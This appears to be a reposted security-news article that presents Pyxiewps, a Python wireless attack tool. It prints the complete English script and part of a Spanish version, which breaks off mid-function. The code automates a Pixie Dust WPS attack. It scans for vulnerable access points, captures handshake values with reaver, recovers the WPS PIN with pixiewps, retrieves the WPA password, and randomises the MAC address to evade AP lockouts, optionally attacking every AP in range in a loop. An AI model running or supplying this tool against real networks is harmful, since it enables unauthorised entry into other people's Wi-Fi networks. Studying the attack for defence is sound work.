Quantcast
Channel: Penetration Test – Security List Network™
Viewing all articles
Browse latest Browse all 1152

Pyxiewps is a wireless attack tool to retrieve the WPS pin in seconds.

$
0
0

Pyxiewps is a wireless attack tool writen in python that uses reaver, pixiewps, macchanger and aircrack to retrieve the WPS pin of any vulnerable AP in seconds. It is meant for educational purposes only.

It enumerates all the APs with active WPS, tries to get the PKE, PKR, E-NONCE, R-NONCE, AUTHKEY, HASH1 and 2 using the patched version of reaver, then passes all that information to pixiewps program so that it can retrieve the WPS pin, and finally runs reaver again with the pin that pixiewps found to get the AP WPA password.

USAGE :

python pyxiewps-[LANGUAGE].py <arguments>

-r --use-reaver          Use reaver to get all the AP information.              [False]
-p --use-pixie           Once all the data is captured with reaver              [False]
                         the script tries to get the WPS pin with pixiewps.
-w --wash-time [time]    Set the time used to enumerate all the WPS-active APs. [15]
-t --time [time]         Set the time used to get the hex data from the AP.       [6]
-c --channel [channel]   Set the listening channel to enumerate the WPS-active APs.
                         If not set, all channels are listened.
-P --prompt              If more than one WPS-active AP is found, ask the user [False]
                         the target to attack.
-o --output [file]       Outputs all the data into a file.
-f --pass                If the WPS pin is found, the script uses reaver again to retrieve
                         the WPA password of the AP.
-q --quiet               Doesn't print the AP information. Will print the WPS pin and pass if found.
-F --forever             Runs the program on a While loop so the user can scan and attack a hole
                         zone without having to execute the program over and over again.
-O --override            Doesn't prompt the user if the WPS pin of the current AP has already
                         been found. DOESN'T SKIP THE AP, the script attacks it again.

pyxiewps-EN.py Script :

from os import kill, system, path, chdir
from signal import alarm, signal, SIGALRM, SIGKILL
import time
import subprocess
from re import sub, compile, search
from sys import argv

REAVER = 'reaver'
PIXIEWPS = 'pixiewps'
WASH = 'wash'
AIRMON = 'airmon-ng'
MACCHANGER = 'macchanger'
GIT = 'git'
INFO = '\033[32m[+] \033[0m'   # green
ALERTA = '\033[31m[!] \033[0m' # red
INPUT = '\033[34m[>] \033[0m'  # blue
DATA = '\033[33m[DATA] \033[0m'  # yellow
OPCION = '\033[33m[!!!] \033[0m' # yellow
USE_REAVER = False   # If False, uses wash and finishes.
USE_PIXIEWPS = False # Tries to get the WPS pin with pixiewps
WASH_TIME = 11       # Time to enumerate the APs with active WPS
WASH_CHANNEL = ''    # All channels
REAVER_TIME = 6      # Time to get all the useful AP information with reaver
CHOICES_YES = ['Y', 'y', '', 'yes', 'Yes']
CHOICES_NOPE = ['N', 'n', 'no', 'No']
PROMPT_APS = False
OUTPUT = False
OUTPUT_FILE = 'data.txt'
PRINT_REAVER = True
PRINT_PIXIE = True
GET_PASSWORD = False
FOREVER = False
OVERRIDE = False

def banner():
  """
  Prints the banner into the screen
  """
  
  print
  print "\t ____             _                         "
  print "\t|  _ \ _   ___  _(_) _____      ___ __  ___ "
  print "\t| |_) | | | \ \/ / |/ _ \ \ /\ / / \'_ \/ __|"
  print "\t|  __/| |_| |>  <| |  __/\ V  V /| |_) \__ \\"
  print "\t|_|    \__, /_/\_\_|\___| \_/\_/ | .__/|___\\"
  print "\t       |___/                     |_|        "
  print
  print "\tMade by jgilhutton <pyxiewps@gmail.com>"
  print "\tReaver 1.5.2 mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg"
  print "\tCopyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>"
  print "\tPixiewps  Copyright (c) 2015, wiire <wi7ire@gmail.com>"
  print "\tMacchanger by Alvaro Ortega Copyright (C) 2003 Free Software Foundation, Inc."
  print
  
def arg_parser():
  """
  Parses the arguments and calls the help() function if any problem is found
  """
 
  global PRINT_PIXIE
  global PRINT_REAVER
  global USE_REAVER
  global USE_PIXIEWPS
  global WASH_TIME
  global REAVER_TIME
  global WASH_CHANNEL
  global PROMPT_APS
  global OUTPUT_FILE
  global OUTPUT
  global GET_PASSWORD
  global FOREVER
  global OVERRIDE
  H = ['-h','--help']
  binary_flags = ['-w','-t','-c','-o']
  
  for arg in argv[1:]:
    if arg in H:
      help()
      exit()
    elif argv[argv.index(arg)-1] in binary_flags:
      continue
    elif arg == '-q' or arg == '--quiet':
      PRINT_PIXIE = False
      PRINT_REAVER = False
    elif arg == '-r' or arg == '--use-reaver':
      USE_REAVER = True
    elif arg == '-p' or arg == '--use-pixie':
      USE_PIXIEWPS = True
    elif arg == '-w' or arg == '--wash-time':
      try:
	WASH_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-t' or arg == '--time':
      try:
	REAVER_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-c' or arg == '--channel':
      try:
	WASH_CHANNEL = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-P' or arg == '--prompt':
      PROMPT_APS = True
    elif arg == '-o' or arg == '--output':
      OUTPUT = True
      OUTPUT_FILE = argv[argv.index(arg)+1]
    elif arg == '-f' or arg == '--pass':
      GET_PASSWORD = True
    elif arg == '-F' or arg == '--forever':
      FOREVER = True
    elif arg == '-O' or arg == '--override':
      OVERRIDE = True
    else:
      help()

def help():
  """
  Help information
  """
  
  print
  print "script -r -p -w 15 -t 6 -c 7 -P -o file.txt -f"
  print "script --use-reaver --use-pixie --wash-time 15 --time 6 --channel 7 --prompt --output file.txt -h"
  print
  print '\t-r --use-reaver          Use reaver to get all the AP information.              [False]'
  print '\t-p --use-pixie           Once all the data is captured with reaver              [False]'
  print '\t                         the script tries to get the WPS pin with pixiewps.'
  print '\t-w --wash-time [time]    Set the time used to enumerate all the WPS-active APs. [15]'
  print '\t-t --time [time]         Set the time used to get the hex data from the AP.       [6]'
  print '\t-c --channel [channel]   Set the listening channel to enumerate the WPS-active APs.'
  print '\t                         If not set, all channels are listened.'
  print '\t-P --prompt              If more than one WPS-active AP is found, ask the user [False]'
  print '\t                         the target to attack.'
  print '\t-o --output [file]       Outputs all the data into a file.'
  print '\t-f --pass                If the WPS pin is found, the script uses reaver again to retrieve'
  print '\t                         the WPA password of the AP.'
  print '\t-q --quiet               Doesn\'t print the AP information. Will print the WPS pin and pass if found.'
  print '\t-F --forever             Runs the program on a While loop so the user can scan and attack a hole'
  print '\t                         zone without having to execute the program over and over again.'
  print '\t-O --override            Doesn\'t prompt the user if the WPS pin of the current AP has already'
  print '\t                         been found. DOESN\'T SKIP THE AP, the script attacks it again.'
  print
  exit()
  
class Engine():
  """
  Manage the Config functions and start the program
  """

  def __init__(self):
    self.REAVER = True
    self.PIXIEWPS = True
    self.WASH = True
    self.AIRMON = True
    self.MACCHANGER = True
    self.GIT = True
  
  def start(self):
    """
    Main function
    """
    chdir('/root/')
    if not c.check_iface(): # check_iface returns True if any previous wlan is found in monitor mode
      c.set_iface("UP")
    else:
      print INFO + "Previous interface was found in monitor mode: %s" %c.IFACE_MON
      choice = raw_input("%sDo you wish to use this interface? [Y/n] " %INPUT)
      if choice in CHOICES_YES:
	pass
      elif choice in CHOICES_NOPE:
	c.set_iface("DOWN")
	c.set_iface("UP")
    if FOREVER:
      while True:
	attack = Attack()
	attack.get_wps_aps()
    else:
      attack = Attack()
      attack.get_wps_aps()
      engine.exit_limpio()
    
  def parse_wash(self, linea):
    """
    Parses the wash output
    Returns bssid, channel, essid
    """
    
    linea = linea.split('|')
    bssid = linea[0] # MAC
    canal = linea[1]
    essid = linea[-1]
    return [bssid, canal, essid]
    
  def parse_reaver(self, output, pin_encontrado = False):
    """
    Parses the reaver output
    Gets the pkr, pke, hash1 y 2, enonce, rnonce, authkey, manufacturer y model
    and returns all the data
    """

    if pin_encontrado:
      password = ''
      for linea in output:
	if '[+] WPA PSK: ' in linea:
	  password = sub('\[\+\] WPA PSK: ','',linea)
	  return password
      if password == '':
	return 'no password'

    E_NONCE = ''
    R_NONCE = ''
    PKR = ''
    PKE = ''
    HASH1 = ''
    HASH2 = ''
    AUTHKEY = ''
    MANUFACTURER = ''
    MODEL = ''
    NUMBER = ''
    uberlista = []
    lista_final = []
    is_complete = False
    has_something = False
    
    if output == '':
      return 'shit'
      
    for linea in output:
      if 'E-Nonce' in linea:
	has_something = True
      elif 'E-Hash2' in linea:
	lista_final = output[0:output.index(linea)+1] # Truncates the output after the hash2
	is_complete = True
	break
      elif 'Detected AP rate limiting' in linea:
	return 'ap rate limited'
    if has_something and not is_complete:
      return 'more time please'
    elif has_something == False:
      return 'noutput'
    for linea in lista_final:
      if 'E-Nonce' in linea:
	E_NONCE = sub('\[P\] E-Nonce: ','',linea)
      elif 'R-Nonce' in linea:
	R_NONCE = sub('\[P\] R-Nonce: ','',linea)
      elif 'PKR' in linea:
	PKR = sub('\[P\] PKR: ','',linea)
      elif 'PKE' in linea:
	PKE = sub('\[P\] PKE: ','',linea)
      elif 'E-Hash1' in linea:
	HASH1 = sub('\[P\] E-Hash1: ','',linea)
      elif 'E-Hash2' in linea:
	HASH2 = sub('\[P\] E-Hash2: ','',linea)
      elif 'AuthKey' in linea:
	AUTHKEY = sub('\[P\] AuthKey: ','',linea)
      elif 'Manufacturer' in linea:
	MANUFACTURER = sub('\[P\] WPS Manufacturer: ','',linea)
      elif 'Model Name' in linea:
	MODEL = sub('\[P\] WPS Model Name: ','',linea)
      elif 'Model Number' in linea:
	NUMBER = sub('\[P\] WPS Model Number: ','',linea)
      elif '[+] Associated with ' in linea:
	ESSID = sub('\(ESSID\: ','|',linea)
	ESSID = ESSID.split('|')[-1][:-2]
      elif '[+] Waiting for beacon from ' in linea:
	BSSID = sub('\[\+\] Waiting for beacon from ','',linea)
      else:
	pass
    uberlista = [PKE.strip(),PKR.strip(),HASH1.strip(),HASH2.strip(),AUTHKEY.strip(),
    MANUFACTURER.strip(),MODEL.strip(),NUMBER.strip(),E_NONCE.strip(),R_NONCE.strip(),
    ESSID.strip(),BSSID.strip()]
    return uberlista
  
  def check(self, check_again = False):
    """
    Check dependencies, user ID and other stuff
    """
    
    if c.get_uid() != '0':
      print ALERTA + 'You need to run the script as root'
      exit()

    ### Programas
    if c.program_exists(MACCHANGER):
      self.MACCHANGER = True
    elif not check_again:
      print ALERTA + 'Macchanger is not installed but it isn\'t a key binary.'
      print '    Some APs blocks the attackers device MAC and changing the MAC'
      print '    is a good option to bypass the problem.'
      print '    The script will not change the MAC, so don\'t expect it to work'
      print '    on some APs.'
      self.MACCHANGER = False
    if c.program_exists(REAVER):
      version = c.check_reaver_version()
      if version == '1.5.2':
	self.REAVER = True
      else:
	print ALERTA + "You need other version of reaver."
	self.REAVER = False
    elif not check_again:
      print ALERTA + 'reaver is not installed'
      self.REAVER = False
    if c.program_exists(PIXIEWPS):
      self.PIXIEWPS = True
    elif not check_again:
      print ALERTA + 'pixiewps is not installed'
      self.PIXIEWPS = False
    if c.program_exists(WASH):
      self.WASH = True
    elif not check_again:
      print ALERTA + 'wash is not installed'
      self.WASH = False
    if c.program_exists(AIRMON):
      self.AIRMON = True
    elif not check_again:
      print ALERTA + 'airmon-ng is not installed'
      self.AIRMON = False
    if c.program_exists(GIT):
      self.GIT = True
    elif not check_again:
      self.GIT = False
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS and check_again:
      print INFO + "All programs were installed!"
      raw_input("%sPress enter to continue" %INPUT)
      print INFO + "Starting the attack..."
    elif check_again:
      print
      print ALERTA + "Some programs were not installed."
      print "    manually check the needed dependencies"
      print "    and run again the program after you installed them."
      print
      exit()
    if self.REAVER and self.AIRMON and self.WASH and self.PIXIEWPS:
      pass
    else:
      print ALERTA + "You need all the necessary programs."
      print INPUT + "They are:"
      print "\tbuild-essential"
      print "\tlibpcap-dev"
      print "\tsqlite3"
      print "\tlibsqlite3-dev"
      print "\taircrack-ng"
      print "\tlibssl-dev"
      choice = raw_input("%sDo you wish to install them now? [Y/n]?" %INPUT)
      if choice in CHOICES_YES:
	c.get_binarios()
      else:
	exit()
    
    ###All good...
    engine.start()

  def run(self, cmd, shell = False, kill_tree = True, timeout = -1):
    """
    Runs a command witha given time after wich is terminated
    returns stdout of proc.
    output is a list without passing strip() on the lines.
    """

    class Alarm(Exception):
      pass
    def alarm_handler(signum, frame):
      raise Alarm
    if timeout != -1:
      signal(SIGALRM, alarm_handler) # Time's ticking...
      alarm(timeout)                 

    proc = subprocess.Popen(cmd, shell = shell, stdout = subprocess.PIPE)
    output = []
    try:
      for line in iter(proc.stdout.readline, ''):
	output.append(line)
      if timeout != -1:
	alarm(0)
    except Alarm:         # time's out! alarm is raised
      pids = [proc.pid]   # kill the process tree related with the main process.
      if kill_tree:
	pids.extend(self.get_process_children(proc.pid))
      for pid in pids:   
	try:             
	  kill(pid, SIGKILL)
	except OSError:
	  pass
      return output
    return output

  def get_process_children(self, pid):
    """
    returns the  pids of the program to kill all the process tree
    """
    
    proc = subprocess.Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True, stdout = subprocess.PIPE)
    stdout = proc.communicate()[0]
    return [int(p) for p in stdout.split()]

  def mac_changer(self):
    """
    Change the device MAC if it's blocked by the AP
    """
    
    print INFO + "Changing MAC address of the device..."
    system('ifconfig %s down' %c.IFACE_MON)
    mac = subprocess.check_output(['macchanger','-r',c.IFACE_MON])
    mac = mac.split('\n')[2]
    mac = sub('New       MAC\: ','',mac.strip())
    mac = sub(' \(unknown\)','',mac)
    system('ifconfig %s up' %c.IFACE_MON)
    print INFO + "New MAC: %s%s" %(INPUT,mac.upper())
    
  def exit_limpio(self):
    """
    Clean before quiting
    """
    if path.isfile('/root/pixiewps/Makefile') or path.isfile('/root/reaver-wps-fork-t6x/src/Makefile'):
      print OPCION + "The pixiewps and reaver files are no longer needed"
      print "      and they live in the root home directory,"
      choice = raw_input("%sDo you wish to erase them? [Y/n]" %INPUT)
      if choice in CHOICES_YES:
	system('cd /root && rm -r pixiewps/ && rm -r reaver-wps-fork-t6x/')
    if c.IS_MON:
      c.set_iface("DOWN")
    if USE_REAVER:
      system('rm -f /usr/local/etc/reaver/*.wpc') # Removes the reaver AP session
    exit()

class Config():
  """
  Interface configuration functions and other stuff
  """
  
  IFACE_MON = 'caca'
  IFACE = 'caca'
  IS_MON = False
  
  def program_exists(self, programa):
    """
    Check the program fot its existance
    """

    cmd = "which " + programa
    output = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    output = output.communicate()[0]

    if output != "":
      return True    # Exists
    else:
      return False   # Nope

  def get_uid(self):
    """
    Returns the user ID
    """
    
    uid = subprocess.check_output(['id','-u']).strip()
    return uid
  
  def check_iface(self):
    """
    Check for any monitor interfaces already set.
    """
    
    cmd = "ifconfig | grep mon | cut -d \' \' -f1" # iwconfig isn't grepable
    mon = subprocess.check_output(cmd, shell = True).strip()
    if mon != '':
      self.IFACE_MON = mon
      self.IS_MON = True
      return True
    else:
      return False
  
  def get_iface(self):
    """
    If any monitor interfaces are found, returns the wlans.
    If more than onw are found, ask the user to choose.
    If monitor mode is already enable, returns the name.
    """

    if self.IS_MON: # Si la interfaz esta en modo monitor devuelve el nombre 'mon'
      cmd = "ifconfig | grep mon | cut -d \' \' -f1"
      mon = subprocess.check_output(cmd, shell = True).strip()
      self.IFACE_MON = mon
      return mon
    else:
      cmd = "ifconfig | grep wlan | cut -d \' \' -f1"
      proc = subprocess.check_output(cmd, shell = True)
      ifaces = proc.strip().split('\n')

      if len(ifaces) == 1 and ifaces[0] == '':
	print ALERTA + "No wireless interfaces were found!"
	print "    Please check if any wireless device in your PC."
	print "    if you are running on a virtual machine"
	print "    go get an USB wireless device."
	exit()
      elif len(ifaces) > 1:
	print INPUT + "Choose the W.Interface: "
	for i in ifaces:
	  print str(ifaces.index(i)) + " >> " + i
	while True:    #Control the input! you bugseeker!
	  try:
	    choice = int(raw_input(INPUT))
	    if choice <= len(ifaces) and choice >= 0:
	      self.IFACE = ifaces[choice]
	      return ifaces[choice]
	      break
	    else:
	      print INPUT + "Number between 0 and %s" %(len(ifaces)-1) #Index error handling
	  except ValueError:
	    print ALERTA + "NUMBER between 0 and %s" %(len(ifaces)-1) #Integeer error handling
	  except KeyboardInterrupt:
	    print 
	    print ALERTA + "Interrupted program!"
	    print 
	    engine.exit_limpio()
      else:
	self.IFACE = ifaces[0]
	return ifaces[0]
  
  def set_iface(self, status):
    """
    Wireless interface driver. Puts it on monitor mode 
    and puts it back on normal mode.
    "status" variable is used only for the sake of readability and it's based
    on the "self.IS_MON" boolean
    """   
    
    if self.IS_MON:
      cmd = 'airmon-ng stop ' + self.get_iface()
      print INFO + 'Restoring %s wireless interface...' %self.IFACE_MON
      proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE)
      self.IS_MON = False
      print INFO + 'Done'
    else:
      cmd = 'airmon-ng start ' + self.get_iface()
      print INFO + 'Enabling monitor mode...'
      proc = subprocess.call(cmd, shell = True, stdout = subprocess.PIPE)
      self.check_iface()
      print INFO + "Monitor mode enabled on %s" %self.IFACE
      
  def data_file(self, data):
    """
    Outputs the data into a file
    """
    system('echo DATA >> %s' %OUTPUT_FILE)
    with open(OUTPUT_FILE, 'a+') as f:
      fecha = str(time.gmtime()[1])+'-'+str(time.gmtime()[2])+'-'+str(time.gmtime()[0])
      hora = str((time.gmtime()[3])-3).zfill(2)+':'+str(time.gmtime()[4]).zfill(2)
      f.write(fecha+' | '+hora+'\n')
      f.writelines(data)
    print INFO + "All data were saved into %s" %OUTPUT_FILE
    
  def get_binarios(self):
    """
    Installs reaver, pixiewps and other stuff
    """
    
    git = 'apt-get -y install git'
    reaver_dep = 'apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng'
    pixie_dep = 'sudo apt-get -y install libssl-dev'
    reaver = 'git clone https://github.com/t6x/reaver-wps-fork-t6x.git'
    pixiewps = 'git clone https://github.com/wiire/pixiewps.git'
    aircrack = 'apt-get -y install aircrack-ng'
    if not engine.GIT:
      print INFO + "Installing git..."
      proc4 = system(git)
    if not engine.AIRMON:
      print INFO + "Installing aircrack..."
      proc5 = system(aircrack)
    if not engine.PIXIEWPS:
      print INFO + "Installing pixiewps dependencies..."
      proc2 = system(pixie_dep)
      print INFO + "Downloading pixiewps..."
      proc3 = system(pixiewps)    
    if not engine.REAVER:
      print INFO + "Installing reaver dependencies..."
      proc = system(reaver_dep)
      print INFO + "Downloading reaver..."
      proc1 = system(reaver)
    if path.isdir('pixiewps') and not engine.PIXIEWPS:
      print INFO + "Installing pixiewps..."
      system('cd pixiewps/src && make && make install')
      print INFO + "Done"
    if path.isdir('reaver-wps-fork-t6x') and not engine.REAVER:
      print INFO + "Installing reaver..."
      system('cd reaver-wps-fork-t6x* && cd src && ./configure && make && make install')
      print INFO + "Done"
    engine.check(check_again = True)

  def check_reaver_version(self):
    """
    Returns reaver version if it's installed
    """
    
    output = subprocess.Popen('reaver -h', shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
    output = output.communicate()
    if 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[0] and 'mod by t6_x' in output[0]:
      return '1.5.2'
    elif output[0] != '':
      return output[0][9:12]
    elif 'Reaver v1.5.2 WiFi Protected Setup Attack Tool' in output[1] and 'mod by t6_x' in output[1]:
      return '1.5.2'
    elif output[1] != '':
      return output[1][9:12]

class Attack():
  """
  Attack functions
  """
  
  def get_wps_aps(self):
    """
    Enumerates any WPS-active APs
    Goes to get_reaver_info
    """

    print INFO + "Enumerating WPS-active APs..."
    cmd = 'wash -i %s -P' %(c.IFACE_MON)
    if WASH_CHANNEL != '':
      cmd = cmd + ' -c %d' %WASH_CHANNEL
    lista_aps = engine.run(cmd, shell = True, timeout = WASH_TIME)
    lista_provisoria = []
    ultimo = len(lista_aps)-1
    for linea in lista_aps:             # Some wash output glitches are often found
      if '|' in linea:                  # this handles theese glitches
	lista_provisoria.append(linea)  #
    lista_aps = lista_provisoria        #
    if lista_aps == []:
      print
      print ALERTA + "No WPS-active APs were found."
      print
      if not FOREVER:
	engine.exit_limpio()
    else:
      for_fill = lista_aps                                              #\
      essids = []                                                       #|
      for line in for_fill:                                             #|- Formats the list
	line = line.split('|')                                          #|
	essids.append(line[5].strip())                                  #|
      fill = len(max(essids))                                           #/
      print INFO + "The following WPS-active APs were found:"
      for linea in lista_aps:
	linea = linea.split('|')
	fill_line = fill - len(linea[5].strip())
	print '\t' + INPUT + str(linea[5].strip()) + ' '*fill_line + ' || ' + linea[0] + ' || Channel: ' + linea[1] + ' || WPS locked?: ' + linea[4]
      if USE_REAVER:
	while True:
	  try:
	    if len(lista_aps) != 1 and PROMPT_APS: 
	      choice = int(raw_input("%sIndex of the AP: " %INPUT))
	      provisoria = []
	      provisoria.append(lista_aps[choice])
	      lista_aps = provisoria
	      break
	    else:
	      break
	  except KeyboardInterrupt:
	    print
	    engine.exit_limpio()
	    break
	  except ValueError:
	    print ALERTA + "Number between 0 and %d" %ultimo
	if not OVERRIDE and path.isfile('pyxiewpsdata.txt'):
	  coincidencias = []
	  pin_correspondiente = []
	  with open('pyxiewpsdata.txt') as f:
	    ya_sacados = f.readlines()
	  if len(ya_sacados) > 1:
	    ya_sacados.reverse() # reverts the list so it takes the newest pin
	    for target in lista_aps: # if any pin were changed by the AP administrator
	      for line in ya_sacados[1:]:
		if target.split('|')[5].strip() == line.strip():
		  coincidencias.append(target)
		  pin_correspondiente.append(ya_sacados[ya_sacados.index(line)-1].strip())
	    for i in set(coincidencias):
	      print OPCION + "The %s pin was already found!" %i.split('|')[5].strip()
	      print '\t'+ INPUT + pin_correspondiente[coincidencias.index(i)]
	      print OPCION + "Do you want to skip this AP? [Y/n]: "
	      try:
		choice = raw_input("%s Enter to skip: " %INPUT)
	      except KeyboardInterrupt:
		print
		engine.exit_limpio()
	      if choice in CHOICES_YES:
		lista_aps.remove(i)
	for linea in lista_aps:
	  args = engine.parse_wash(linea.strip())
	  self.get_reaver_info(args[0],args[1],args[2])
	if not FOREVER:
	  engine.exit_limpio()
	else:
	  pass
  
  def get_reaver_info(self, bssid, canal, essid):
    """
    Gets all the vital information from the AP
    PKR, PKE, HASH1, HASH2, AUTHKEY
    it's in the get_wps_aps for-loop
    """

    print INFO + "Fetching information from %s using reaver..." %essid
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',bssid,'-vv','-L','-c',canal], timeout = REAVER_TIME)
    data = engine.parse_reaver(output)
    if data == 'noutput':
      print
      print ALERTA + "Couldn\'t retrieve any information from the AP."
      print ALERTA + "Try with a greater time using the -t argument"
      print "    and if it doesn\'t work out try to get a better signal."
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "MAC address will not be changed because this is running only once."
	print "    Run the program for ever by typing the -F argument in the commandline."
	print
      elif not MACCHANGER:
	print ALERTA + "Can not change the MAC address"
	print "    because macchanger is not installed."
	print
    elif data == 'more time please':
      print
      print ALERTA + "The program retrieved some information from the AP but"
      print "    not all of it. Set a greater tiem to fetch the information"
      print "    with the -t argument. 6 seconds by default"
      print
    elif data == 'ap rate limited':
      print
      print ALERTA + "The AP doesn\'y like you!"
      print "    That\'s why reaver couldn\'t retrieve any information"
      print
      if MACCHANGER and FOREVER:
	engine.mac_changer()
      elif MACCHANGER and not FOREVER:
	print ALERTA + "MAC address will not be changed because this is running only once."
	print "    Run the program for ever by typing the -F argument in the commandline."
	print
      elif not MACCHANGER:
	print ALERTA + "Can not change the MAC address"
	print "    because macchanger is not installed."
	print
    elif data == 'shit':
      print
      print "Choose a reaver session option when asked for it."
      if not FOREVER:
	engine.exit_limpio()
    else:
      print INFO + "Success!. All the needed information were found"
      for_file = ['ESSID: ' + data[10] + '\n','MAC: ' + data[11] + '\n','PKE: ' + data[0] + '\n',
      'PKR: ' + data[1] + '\n','HASH1: ' + data[2] + '\n','HASH2: ' + data[3] + '\n',
      'E-NONCE: ' + data[8] + '\n','R-NONCE: ' + data[9] + '\n','AUTHKEY: ' + data[4] + '\n',
      'MANUFACTURER: ' + data[5] + '\n','MODEL: ' + data[6] + '\n','MODEL NUMBER: ' + data[7] + '\n']
      if PRINT_REAVER:
	print
	for linea in for_file:
	  print DATA + linea.strip()
	print
      if OUTPUT and not USE_PIXIEWPS:
	for_file.append('-'*40+'\n')
	c.data_file(for_file)
      if USE_PIXIEWPS:
	self.pixie_attack(data,for_file,canal)

  def pixie_attack(self,data,for_file,canal):
    """
    Tries to find the WPS pin using pixiewps
    """
    
    ESSID = data[10]
    BSSID = data[11]
    PKE = data[0]
    PKR = data[1]
    HASH1 = data[2]
    HASH2 = data[3]
    AUTHKEY = data[4]
    E_NONCE = data[8]
    R_NONCE = data[9]
    
    cmd = ['pixiewps','-e',PKE,'-r',PKR,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE]
    cmd1 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-a',AUTHKEY,'-n',E_NONCE,'-S']
    cmd2 = ['pixiewps','-e',PKE,'-s',HASH1,'-z',HASH2,'-n',E_NONCE,'-m',R_NONCE,'-b',BSSID,'-S']
    pin = ''
    cmd_list = [cmd, cmd1, cmd2]
    output = []
    for command in cmd_list:
      try:
	output = subprocess.check_output(command)
	output = output.strip().split('\n')
	for linea in output:
	  if '[+] WPS pin:' in linea:
	    result = compile('\d+')
	    pin = result.search(linea).group(0)
	    break
	  else:
	    pass
      except:             #Pixiewps error handling
	pass
      if pin != '': break
    if pin != '' and len(pin) == 8:
      print INFO + "WPS pin found!"
      print "\t" + INPUT + pin
      for_file.append('WPS pin: '+pin+'\n')
      system('echo >> pyxiewpsdata.txt')
      with open('pyxiewpsdata.txt','a+') as f:
	f.write(ESSID+'\n')
	f.write(pin)
    elif pin == '':
      print
      print ALERTA + "WPS pin was not found."
      print "    Probably, the AP is not vulnerable to this attack"
      print "    and never will. Move on."
      print
      
    if GET_PASSWORD and pin != '':
      self.get_password(for_file, BSSID, pin, canal)
    elif OUTPUT:
      for_file.append('-'*40+'\n')
      c.data_file(for_file)
  
  def get_password(self, for_file, BSSID, pin, canal):
    """
    Once the WPS pin was found, ries to get the password.
    """
    
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',BSSID,'-vv','-c',canal,'-p',pin,'-L'], timeout = (REAVER_TIME+4))
    password = engine.parse_reaver(output, pin_encontrado = True)
    if password == 'no password':
      print
      print ALERTA + "Can't get the password right now but you can"
      print "    use the WPS pin to access the wireless network."
      print
    else:
      print INFO + "Password found!"
      print '\t' + INPUT + password.strip()
    if OUTPUT:
      for_file.append('Password: ' + password + '\n'+'-'*40+'\n')
      c.data_file(for_file)

if __name__ == '__main__':
  arg_parser()
  banner()
  try:
    c = Config()
    engine = Engine()
    engine.check()
  except KeyboardInterrupt, EOFError:
    print
    print ALERTA + "Interrupted program!"
    print    
    engine.exit_limpio()

pyxiewps-ES.py Script :

from os import kill, system, path, chdir
from signal import alarm, signal, SIGALRM, SIGKILL
import time
import subprocess
from re import sub, compile, search
from sys import argv

REAVER = 'reaver'
PIXIEWPS = 'pixiewps'
WASH = 'wash'
AIRMON = 'airmon-ng'
MACCHANGER = 'macchanger'
GIT = 'git'
INFO = '\033[32m[+] \033[0m'   # Verde
ALERTA = '\033[31m[!] \033[0m' # Rojo
INPUT = '\033[34m[>] \033[0m'  # Azul
DATA = '\033[33m[DATA] \033[0m'  #Amarillo
OPCION = '\033[33m[!!!] \033[0m' #Amarillo
USE_REAVER = False   # Si False usa wash y termina.
USE_PIXIEWPS = False # Intenta averiguar el pin WPS con pixiewps
WASH_TIME = 11       # Tiempo para que wash recopile APs con WPS
WASH_CHANNEL = ''    # Todos
REAVER_TIME = 6      # Tiempo para que reaver recopile la informacion
CHOICES_YES = ['S', 's', '', 'si', 'Si']
CHOICES_NOPE = ['N', 'n', 'no', 'No']
PROMPT_APS = False
OUTPUT = False
OUTPUT_FILE = 'data.txt'
PRINT_REAVER = True
PRINT_PIXIE = True
GET_PASSWORD = False
FOREVER = False
OVERRIDE = False

def banner():
  """
  Imprime el banner en la pantalla
  """
  
  print
  print "\t ____             _                         "
  print "\t|  _ \ _   ___  _(_) _____      ___ __  ___ "
  print "\t| |_) | | | \ \/ / |/ _ \ \ /\ / / \'_ \/ __|"
  print "\t|  __/| |_| |>  <| |  __/\ V  V /| |_) \__ \\"
  print "\t|_|    \__, /_/\_\_|\___| \_/\_/ | .__/|___\\"
  print "\t       |___/                     |_|        "
  print
  print "\tHecho por jgilhutton"
  print "\tReaver 1.5.2 mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg"
  print "\tCopyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>"
  print "\tPixiewps  Copyright (c) 2015, wiire <wi7ire@gmail.com>"
  print "\tMacchanger por Alvaro Ortega Copyright (C) 2003 Free Software Foundation, Inc."
  print
  
def arg_parser():
  """
  Detecta los argumentos y devuelve la ayuda si hay algun problema
  """
 
  global PRINT_PIXIE
  global PRINT_REAVER
  global USE_REAVER
  global USE_PIXIEWPS
  global WASH_TIME
  global REAVER_TIME
  global WASH_CHANNEL
  global PROMPT_APS
  global OUTPUT_FILE
  global OUTPUT
  global GET_PASSWORD
  global FOREVER
  global OVERRIDE
  H = ['-h','--help']
  binary_flags = ['-w','-t','-c','-o']
  
  for arg in argv[1:]:
    if arg in H:
      help()
      exit()
    elif argv[argv.index(arg)-1] in binary_flags:
      continue
    elif arg == '-q' or arg == '--quiet':
      PRINT_PIXIE = False
      PRINT_REAVER = False
    elif arg == '-r' or arg == '--use-reaver':
      USE_REAVER = True
    elif arg == '-p' or arg == '--use-pixie':
      USE_PIXIEWPS = True
    elif arg == '-w' or arg == '--wash-time':
      try:
	WASH_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
	help()
    elif arg == '-t' or arg == '--tiempo':
      try:
	REAVER_TIME = int(argv[argv.index(arg)+1])
      except ValueError:
